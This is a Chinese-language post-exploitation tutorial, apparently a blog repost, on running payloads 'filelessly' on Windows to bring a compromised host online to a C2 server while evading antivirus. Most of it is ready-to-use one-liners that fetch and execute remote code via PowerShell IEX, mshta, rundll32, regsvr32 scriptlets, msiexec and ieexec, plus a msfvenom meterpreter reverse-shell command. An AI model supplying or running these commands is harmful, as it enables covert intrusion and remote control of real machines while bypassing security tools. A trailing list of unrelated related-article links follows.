后渗透之windows中无文件落地执行方法

简介: 后渗透之windows中无文件落地执行方法

前言


在我们渗透过程中,当getshell或者能够执行命令后需要上线C2时,一般是执行下载(或上传)将文件写入目标服务器后执行。这种方式会留下一个二进制文件可能会被扫描查杀。

而通过一些系统或组件自带命令进行文件不落地执行,这种方式不会留下二进制文件,更具有隐蔽性。本文将列举一些文件不落地的命令方法。


powershell


在win7/2008开始引入的一种跨平台的任务自动化解决方案,由命令行 shell、
脚本语言和配置管理框架组成。
powershell功能十分强大。一行命令即可直接执行远程文件。
文件路径:

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

支持系统: >= win7/win2008

用法:


powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/test.ps1'))"


1331a8644e20c0124a3acd7164be0cd6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


mshta


mshta.exe是Windows操作系统内置程序,用于执行.hta文件(HTML应用程序)

文件路径:

  • C:\Windows\System32\mshta.exe

支持系统: win7-win11

用法:

vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) 
mshta http://webserver/payload.hta 
/cmd /c mshta.exe javascript:a(GetObject("script:http://1.1.1.1/m.sct")).Exec();close();

61b08136ce198dd1d266c67256c1d025_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


rundll32


Rundll32.exe是win系统非常重要的核心程序。它的作用是执行DLL文件,在命令行下调用动态链接程序库。
系统中还有一个Rundll64.exe文件,它的意思是"执行64位的DLL文件",这两个是病毒软件制作者的最爱,也是在以往病毒分析报告中出现最多的应用媒介

文件路径:

  • C:\Windows\System32\rundll32.exe

支持系统: win7 -win11

用法:

远程加载:
C:\Windows\SysWOW64\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:http://192.168.1.4/Rundll32_shellcode"

执行远程文件

ea562c72b8e7514994f2dcde15bbdddb_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


Regsvr32


Regsvr32是用于注册COM组件,Windows 命令行下提供的注册控件或者卸载控件的命令

文件路径:

  • C:\Windows\System32\Regsvr32.exe

支持系统: win7 -win11

用法:


regsvr32 /u /n /s /i:http://192.168.173.45:8800/file.sct scrobj.dll


4a6b71e2767bd0b0393459dce7460ea5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


Msiexec.exe


win核心应用,用于安装msi包。是Windows Installer的一部分。

文件路径:

  • C:\Windows\System32\msiexec.exe

支持系统: win7 -win11

用法:


msiexec.exe /q /i http://192.168.173.45/test.msi

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.14.1 -f msi > test.msi 
msiexec.exe /q /i http://192.168.173.45/test.msi


4afcc1aa6d5c8468d17477bd84ca091f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


IEexec


IEexec.exe是.NET Framework附带程序,.NET框架在win系统自带。
而同目录下的Csc.exe就是C#的语言编译器
文件路径:

  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe

支持系统: win7 -win11

用法:

cd C:\Windows\Microsoft.NET\Framework64\v2.0.50727 
caspol -s off 
ieexec http://ip:8080/test.exe


总结


这里只列举了一些常用不落地执行方法,当然还有很多方法比如利用特定版本中组件的方法。使用这些方法需要满足出网条件,实战中还是需要开阔思路,找到现有场景中的缺陷才能bypass


相关文章
|
7天前
|
Windows
Windows——如何在文件资源管理器地址栏快速打开Vscode
Windows——如何在文件资源管理器地址栏快速打开Vscode
19 4
|
7天前
|
Windows
Windows——windows10下如何和子系统Ubuntu18.04互传文件
Windows——windows10下如何和子系统Ubuntu18.04互传文件
15 1
|
4天前
|
安全 C++ Windows
Windows下C++使用gRPC(Qt和VS,含文件包和使用方法)
Windows下C++使用gRPC(Qt和VS,含文件包和使用方法)
|
1月前
|
Windows
【Windows】 Win10下报错:该文件没有与之关联的应用来执行该操作。请安装应用,若已经安装应用,请在“默认应用设置”页面中创建关联
【Windows】 Win10下报错:该文件没有与之关联的应用来执行该操作。请安装应用,若已经安装应用,请在“默认应用设置”页面中创建关联
294 1
|
1月前
|
Windows
【Windows】 Win10文件目录的删除,新建等需要手动刷新操作 亲测有效
【Windows】 Win10文件目录的删除,新建等需要手动刷新操作 亲测有效
116 0
|
1月前
|
安全 网络协议 Linux
【Windows】已解决:修改本地host文件异常的正确解决方法
【Windows】已解决:修改本地host文件异常的正确解决方法
69 0
|
1月前
|
存储 数据库 数据安全/隐私保护
Windows系统部署AnyTXT Searcher并实现远程搜索本地内网设备中文件
Windows系统部署AnyTXT Searcher并实现远程搜索本地内网设备中文件
|
4天前
|
开发框架 .NET API
Windows Server 2022 安装IIS 报错 访问临时文件夹 C:\WINDOWS\TEMP\3C 读取/写入权限 错误: 0x80070005
Windows Server 2022 安装IIS 报错 访问临时文件夹 C:\WINDOWS\TEMP\3C 读取/写入权限 错误: 0x80070005
13 0
|
6天前
|
Linux Docker Windows
Windows——Docker拉取Windows Server镜像
Windows——Docker拉取Windows Server镜像
14 0
|
1月前
|
弹性计算 持续交付 Docker
阿里云云效产品使用合集之如何部署到阿里云服务器上的 Windows Server 上的 IIS
云效作为一款全面覆盖研发全生命周期管理的云端效能平台,致力于帮助企业实现高效协同、敏捷研发和持续交付。本合集收集整理了用户在使用云效过程中遇到的常见问题,问题涉及项目创建与管理、需求规划与迭代、代码托管与版本控制、自动化测试、持续集成与发布等方面。